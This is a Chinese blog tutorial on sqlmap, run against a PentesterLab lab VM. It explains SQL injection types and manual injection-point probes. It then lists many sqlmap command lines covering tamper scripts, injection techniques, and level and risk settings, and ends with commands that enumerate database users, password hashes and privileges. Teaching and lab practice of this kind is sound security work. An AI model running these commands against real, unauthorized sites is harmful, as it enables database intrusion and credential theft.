sqlmap介绍和使用一

sqlmap介绍:

           sqlmap开源的渗透测试工具,可以自动检测和利用sql注入缺陷,基于python编写,建议下载2.7或者2.8版本的python直接在命令行中调用解释器运行。

测试环境:

           vmare搭建靶场pentesterlab   使用python +  sqlmap进行测试

sql注入原理:

           当客户端提交的数据未作处理或转义直接带入数据库,就可能造成sql注入,攻击者通过直接构造不同的sql语句来实现对数据库的任意操作。

sql注入的分类:

         按变量类型分:数字型和字符型

         按照HTTP提交方式分:POST注入、GET注入和Cookie注入

        按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入

SQL注入基本手工注入流程:     

   判断注入点:

         数字型:id=2-1
   字符型:' 、')、 '))、 "、 ")、"))
   注释符:-- (这是--空格)、--+、/**/、#

一、sqlmap使用:

        (1)查看sqlmap版本信息      python sqlmap.py  --version
          (2)查看sqlmap的帮助信息   python sqlmap.py  --help
二、 sqlmap直连数据库:
         (1)服务型数据or关系型数据库,(用户名:root 密码:123456)
                python  sqlmap.py   -d  "mysql://root:123456@xxxx.xxxx.xxxx.xxxx:3306/testdb" -f --banner --dbs --users
         (2)文件型数据库(前提条件:数据库的绝对路径)
                DBMS://DATABSE_FILEPATH(SQLite,ACCESS,等等)
         (3)sqlmap 针对单一的url探测,参数使用-u
             python  sqlmap.py  -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --banner

三、 提高sqlmap 探测速度的方法
       (1)持久连接  sqlmap  -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --current-db  --keep-alive
         (2)  多线程   sqlmap   -u  "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --dbs  --thread 10

四、 指定数据库类型
          (1)  sqlmap  -u   "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --current-db
        (2)sqlmap  -u “http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --dbms  mysql [版本号] --current-db      

五、 指定os后端操作系统 linux  windows
       (1)sqlmap  -u   “http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --dbms  mysql  --os windows --current-db

六、 指定宽字节注入(tamper="unmagicquotes.py")
       (1)sqlmap  -u     "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"  --dbms  mysql  --dbs --thread 10 --tamper="unmagicquotes.py"  -v 3 --batch

八、  强制设置无效值替换  --invalid -bignum,强制使用大整数来实现相同的目标(如id=88888).
       (1)python     sqlmap.py  -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  --invalid-bignum --current-db -v 3
         强制使用布尔操作来实现相同的目标 --invalid-logical (如id =1 and  1=2)
         (1)  python     sqlmap.py  -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  --invalid-logical   --current-db -v 3
         强制使用随机字符串来实现相同的目标 --invalid-string(如id=abcde)
         (1)  python     sqlmap.py  -u  "http://192.168.52.130/sqlinjection/example7/?id=1"  --invalid-string   --current-db -v 3

九、 sqlmap设置自定义检测参数
          指定要执行的测试等级的参数,一共五个层次  --level, 探测等级5,
          --risk 平台危险等级3,一共3个等级,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入
        (1)python  sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --level=3 --tamper=base64encode --current-db
          (2)  python  sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --level=5 --risk=3  --tamper=base64encode --current-db

十、 sqlmap设置具体sql注入技术
        --techbnique 参数用来设置具体sql 注入技术。
           B:Boolean-based blind  基于布尔的盲注
           E:Error-based 报错注入
           U:Union query-based Unbion查询注入
           S:Stacked queries  堆叠注入
           T:Timed-based blind   时间的盲注
           Q:lnline queries   内联查询注入
          (1)  python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4 --technique B --dbs
          (2)  python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4 --technique BS --dbs

 十一、sqlmap设置时间盲注延迟时间,设置秒来延迟响应(DBMS延时)--time-sec选项
          (1) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique  T
          (2) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique  T  --time-sec 3
                                  
十二、sqlmap设置union字段数,默认情况下,sqlmap测试使用1到10列的union查询sql注入技术,但是通过提供更高--level值,可以将此范围增加到50列
          手动方法为工具提供选--union-cols后跟一些列整数,如12-16表示使用12到16个列对union查询sql注入进行测试
          (1) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique U  union-cols 12-18   
          (2) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 3  --technique U --union-char 123
          (3) python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  -v 4  --technique U --union-char 1 --union-cols 12-18  
十三、sqlmap 检索DBMS Banner
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --banner  -v 3
          sqlmap  检索DBMS当前用户      
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --current-user  -v  3
          sqlmap  检索当前数据库
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --current-db  -v  3
          sqlmap  检索当前数据库主机名  --hostname
        (1)python   sqlmap.py   -u   "http://192.168.52.130/sqlinjection/example7/?id=1"  --technique  U  --hostname  -v  3
          sqlmap  检索当前用户是否是DBA  --is-dba           
        (1)python   sqlmap.py   -u    "http://192.168.52.130/sqlinjection/example7/?id=1"    --is-dba
          sqlmap 枚举DBMS用户
        (1)python   sqlmap.py   -u    "http://192.168.52.130/sqlinjection/example7/?id=1"    --technique  BU  --users
          sqlmap枚举DBMS用户密码
        (1) python   sqlmap.py   -u    "http://192.168.52.130/sqlinjection/example7/?id=1"   --technique  BU  --password
          sqlmap 枚举DBMS权限
        (1) python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example7/?id=1"   --role
          (2)   python  sqlmap.py    -u    "http://192.168.52.130/sqlinjection/example6/?group=username"  --privileges

posted @ 2019-11-12 18:03  微风轻哨  阅读(1586)  评论(0编辑  收藏  举报